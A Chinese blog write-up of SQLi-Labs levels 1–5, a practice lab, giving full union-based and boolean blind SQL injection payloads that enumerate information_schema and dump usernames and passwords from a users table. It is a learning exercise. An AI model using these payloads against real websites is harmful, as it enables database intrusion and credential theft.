首页 > 数据库 >《SQLi-Labs》01. Less 1~5

《SQLi-Labs》01. Less 1~5

时间:2023-04-18 21:01:26浏览次数:52  
标签:01 url Labs SQLi --+ table id select schema

目录


sqli。开启新坑。

前言

对于新手,为了更加直观的看到 sql 注入语句,可以在以下文件添加两句:

在这里插入图片描述

echo $sql;		# 将构造的 sql 语句进行输出
echo "<br>";	# 换行输出

这样就可以在页面实时看到 sql 语句,便于理解。

题解中,只第一题添加了此语句。

Less-1

知识点

要对数据库的语法有基本了解。这个就不多说了。

数据传递时,“ --+ ” 可以理解为解析成了 mysql 的注释语句 “ -- ”。
也可使用 “ # ” 来注释,由于 url 转码所以要写为 “ %23 ”。

这样就能把拼接后的语句注释,以此添加一些语句来获得信息分析。

order by 可用数字来代表字段索引,1 就是第一个字段,以此类推。因此可用来判断判断表有几列。

数据库的一些函数与自带的表: database()、information_schema 数据库、group_concat() 函数等。

题解

跟着其他师傅的解答尝试了一下,大致思路如下。

打开页面,可以通过 url 传递 id 来获取对应用户信息。那么目标便是通过注入来获取所有用户信息

在这里插入图片描述

先传递两个不同 id 值看看。得到了不同结果。

url + ?id=1
url + ?id=2

在这里插入图片描述

这里由于让 sql 语句回显到了页面,所以比较明显。但真实情况下无法看到 sql 语句。

所以接下来的思路是要判断 sql 查询是按字符串类型查询还是按数值类型查询。

url + ?id=2'

在这里插入图片描述

url + ?id=2' --+

在这里插入图片描述

可以看到有回显,说明是字符串查询。

这里 “ --+ ” 可以理解为解析成了 mysql 的注释语句 “ -- ”。
除此以外也可使用 “ # ” 来注释,由于 url 转码所以可写为 “ %23 ”。

根据结果指定是字符型且存在 sql 注入漏洞后,因为该页面存在回显,所以可以使用联合查询。

对于联合查询,就是把多次查询的结果合并起来,形成一个新的查询结果集。查询列数要相等。

要使用联合查询,先来判断这张表有多少个字段(多少列)
可使用 order by 判断表有几列,如果报错就是超过列数。

url + ?id=2' order by 1 --+
url + ?id=2' order by 2 --+
url + ?id=2' order by 3 --+

在这里插入图片描述

url + ?id=2' order by 4 --+

可以看到报错了

在这里插入图片描述

说明该表有 3 个字段。

然后看看该表哪两个列作为返回的页面显示。
使用联合查询,判断哪两列显示:

url + ?id=2' union select 1,2,3 --+

并没有返回有用信息。

在这里插入图片描述

把 id 改为一个不存在的值试试,

url + ?id=-2' union select 1,2,3 --+

在这里插入图片描述

可以看到页面显示的是 2、3 列数据。

可以根据 mysql 数据库的一些函数来获取当前数据库名和版本号。

database():返回 mysql 命令行当前所在的数据库。
version():获取 MySQL 版本号

url + ?id=-2' union select 1, database(), version() --+

可以看到当前数据库名称为 security ,数据库版本为 5.7.26。

在这里插入图片描述

下一步,想办法查看 security 数据库里的所有表(爆表)。这里要用到 MySQL 自带的一些特殊数据库。

information_schema 数据库是在mysql的版本5.0之后产生的一个虚拟数据库,物理上并不存在。提供了访问数据库元数据的方式,比如数据库名或表名,列类型,访问权限等。

information_schema.tables:获取所有数据库。

table_schema:数据库的名称。

table_name:具体的表名称。

group_concat()函数:将括号里对应的字符串进行连接。

于是乎:

url + ?id=-2' union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema='security' --+

group_concat() 函数用于将查到的多个表名连接起来,不然只会显示一个表。

可以看到 security 数据库有四个表:emails、referers、uagents、users。

在这里插入图片描述

猜测用户的账户和密码可能是在users表中。

information_schema.columns:每一个表中的每一个字段都会在此表中对应一行。

于是:

url + ?id=-2' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

可以看到两个敏感字段:username,password。

在这里插入图片描述

联合查询 username,password 两个字段,在 username 和 password 之间加个 id 作为分割,比较容易看:

url + ?id=-2' union select 1,2,group_concat(username, id, password) from users --+

在这里插入图片描述

第一关完成!

Less-2

了解了第一关的原理与思路后,接下来这题就不难了。

题解

url + ?id=1' --+

当输入单引号或者双引号可以看到报错,且报错信息看不到数字,猜测 sql 语句应该是数字型注入。

在这里插入图片描述

说明不是字符型,可能为数字型。

url + ?id=1 --+

在这里插入图片描述

那接下来的思路就和 Less-1 的一样了。

判断表有几个字段后,看显示位:

url + ?id=-1 union select 1,2,3 --+

查看当前表名:

url + ?id=-1 union select 1, 2, database() --+

爆表:

url + ?id=-1 union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema='security' --+

爆字段:

url + ?id=-1 union select 1, 2, group_concat(column_name) from information_schema.columns where table_name='users' --+

获取用户名和密码:

url + ?id=-1 union select 1, 2, group_concat(username, id, password) from users --+

思路与 Less-1 无异。

Less-3

依旧与 Less-1 一样。

题解

url + ?id=1'

看报错信息,推断 sql 语句是单引号字符型且有括号。

在这里插入图片描述

需要考虑闭合括号。

url + ?id=1') --+

在这里插入图片描述

接下来就照搬 Less-1 思路。

判断表有几个字段后,看显示位:

url + ?id=-1') union select 1,2,3 --+

看表名:

url + ?id=-1') union select 1, 2, database() --+

爆表:

url + ?id=-1') union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema='security' --+

爆字段:

url + ?id=-1') union select 1, 2, group_concat(column_name) from information_schema.columns where table_name='users' --+

获取用户名和密码:

url + ?id=-1') union select 1, 2, group_concat(username, id, password) from users --+

得手。

Less-4

依旧与 Less-1 一样。

题解

url + ?id=1"

在这里插入图片描述

url + ?id=1") --+

在这里插入图片描述

判断表有几个字段后,看显示位:

url + ?id=-1") union select 1,2,3 --+

看表名:

url + ?id=-1") union select 1, 2, database() --+

爆表:

url + ?id=-1") union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema='security' --+

爆字段:

url + ?id=-1") union select 1, 2, group_concat(column_name) from information_schema.columns where table_name='users' --+

获取用户名和密码:

url + ?id=-1") union select 1, 2, group_concat(username, id, password) from users --+

完成。

Less-5

知识点

布尔盲注。主要用到以下三个 MySQL 函数。

  • length() 函数:返回字符串所占的字节数。
  • ascii() 函数:返回字符串最左字符的ASCII值。如果是空字符串,返回0。如果是NULL,返回NULL。
  • substr() 函数:字符串截取函数。

布尔盲注需要一个一个判断字符。对于联合注入来说需要花费大量时间。

题解

url + ?id=1
url + ?id=2

在这里插入图片描述

url + ?id=-1
url + ?id=10086

在这里插入图片描述

通过上面几个测试,发现页面不回显数据库信息,但对错误和正确有显示。

url + ?id=1'

在这里插入图片描述

url + ?id=1' --+

在这里插入图片描述

再通过以上测试可知是字符型注入。

由于只对结果真伪进行回显,使用布尔盲注。

判断当前数据库长度,需要一个一个尝试,这里判断出数据库名长度为 8(页面有回显说明结果为真)。

url + ?id=1 'and length((select database()))=8 --+

在这里插入图片描述

通过一个一个字符串截取并通过 ASCII 码比较来得出数据库名。

url + ?id=1' and ascii(substr((select database()), 1, 1))=115 --+

在这里插入图片描述

ASCII 码 115 对应字母为 s。

同理,以下判断都有回显:

url + ?id=1' and ascii(substr((select database()), 2, 1))=101 --+
url + ?id=1' and ascii(substr((select database()), 3, 1))=99 --+
url + ?id=1' and ascii(substr((select database()), 4, 1))=117 --+
url + ?id=1' and ascii(substr((select database()), 5, 1))=114 --+
url + ?id=1' and ascii(substr((select database()), 6, 1))=105 --+
url + ?id=1' and ascii(substr((select database()), 7, 1))=116 --+
url + ?id=1' and ascii(substr((select database()), 8, 1))=121 --+

因此可得到数据库名称为 “ security ”。

接下来,以同样的原理来爆表

先判断所有表名字符长度。

url + ?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>28 --+

url + ?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>29 --+

通过回显判断出表名字符长度为 29。

然后逐一判断表名。

url + ?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>=101--+
url + ?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),2,1))>=109--+
...
url + ?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),29,1))>=115--+

可得表名字符为:emails,referers,uagents,users

继续猜测数据保存在 users 表中(其实是早已知晓 = ̄ω ̄= )

继续用同样的原理来爆字段

判断字符长:

url + ?id=1' and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>=20 --+

可得长度为 20。

逐一判断字段名。

url + ?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>=105 --+
...
url + ?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),20,1))>=100 --+

由此得到 users 表中字段为
user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password

获取username和password

判断字符长度:

url + ?id=1' and length((select group_concat(username,password) from users))>=188 --+

然后依次判断每一个字符即可。最终结果与之前 4 个题相同。

url + ?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>=68 --+

总结
布尔盲注,用 length() 函数判断字符串长度,然后用 substr() 截取字符串,用 ascii() 一个一个判断字符。


逢人不说人间事,便是人间无事人。

——《赠质上人》(唐)杜荀鹤

标签:01,url,Labs,SQLi,--+,table,id,select,schema
From: https://www.cnblogs.com/GCom/p/17331071.html

相关文章

  • VS2010在使用过程中遇到的问题
    一、解决执行后看不到结果,只是屏幕一闪。第一次使用vs2010的同学可能会遇到在执行文件(执行文件·:按下CTRL+F5)时,只出现屏幕一闪,没有看到结果。那么不用慌,这不代表你没有成功。只是,执行速度快,一闪而过。解决方法,如下步骤:1)右击该项目 2)点击属性3)点击连接器4)点击系统5)在右侧会看到子系......
  • AI测试101:测试AI系统的实用技巧&ML和AI自动化工具
    基于人工智能的系统,也称为神经网络(NNNeuralNetworks),和其他应用程序一样是"系统",因此需要测试。本文将指导你测试AI和基于NN的系统,并理解相关概念。测试人工智能系统的不同之处是什么?"传统"的软件是建立在内部确定的算法基础上的。例如,对于将摄氏度转换为华氏度的系统,它将使......
  • vue03 01.创建项目
    目录01.创建项目打包工具vite介绍安装命令启动项目浏览效果代码目录打包预览运行插件使用01.创建项目打包工具vite官网vite学习视频vite介绍Vite也是前端构建工具相较于webpack,vite采用了不同的运行方式:开发时,并不对代码打包,而是直接采用ESM的方式来,而是直接采用ESM的方式来运行......
  • 0001笔记【并行计算】CUDA在现代C++中如何运用?看这一个就够了
    目录SM(流多处理器)和板块(block)一个板块会被调度到一个SM上,直到执行结束常用函数cudaMalloc在显存上分配内存cudaMallocHost在主存上分配锁页内存cudaMemcpy在主存和显存之间拷贝数据cudaMallocManagerd统一内存优化时间依赖和空间依赖线程太多不行:防止寄存器打翻(registerspill)......
  • Pandas 读写sqlite数据库
    SQLite3工具实现了简单、轻量级的DBMSSQL,因此可以内置于用python语言实现的任何应用。若想使用数据库的所有功能而又不想安装真正的数据库,这个工具就是最佳选择。若想在使用真正的数据库之前练习数据库操作,或在单一程序中使用数据库存储数据而无需考虑接口,SQLite3都是不错的选择......
  • redis----day01()
    面试1并发并行 #并发:同一时间段内,执行多个任务的能力#并行:同一时刻,执行多个任务的能力#并行必须是多cpu支持2同步异步 #程序调用的角度#同步:同步是一件事一件事的做;只有执行完前一个任务,才会执行下一个任务。同步意味着有序#异步:当一个任务已经......
  • 打印机 三星 激光打印机 scx3401
    https://support.hp.com/cn-zh/drivers/selfservice/samsung-scx-3401-laser-multifunction-printer-series/16462412开关键不太好按,注意一下开机的时候,按一下就可以了,不需要长按关机的时候,需要长按3秒左右放a4纸的时候,需要放进去一点。具体可以直接看一下打印机是怎么把纸搞......
  • redis高级01
    1redis介绍#特性Redis特性(8个)#速度快:10wops(每秒10w读写),数据存在内存中,c语言实现,单线程模型#持久化:rdb和aof#多种数据结构 5大数据结构BitMaps位图:布隆过滤器本质是字符串HyperLogLog:超小内存唯一计数,12kbHyperLogLog本质是字符串GEO:地理......
  • 团体天梯练习 L2-019 悄悄关注
    L2-019悄悄关注新浪微博上有个“悄悄关注”,一个用户悄悄关注的人,不出现在这个用户的关注列表上,但系统会推送其悄悄关注的人发表的微博给该用户。现在我们来做一回网络侦探,根据某人的关注列表和其对其他用户的点赞情况,扒出有可能被其悄悄关注的人。输入格式:输入首先在第一行给......
  • 团体天梯练习 L2-018 多项式A除以B
    L2-018多项式A除以B这仍然是一道关于\(A/B\)的题,只不过\(A\)和\(B\)都换成了多项式。你需要计算两个多项式相除的商\(Q\)和余\(R\),其中\(R\)的阶数必须小于\(B\)的阶数。输入格式:输入分两行,每行给出一个非零多项式,先给出\(A\),再给出\(B\)。每行的格式如下:\(......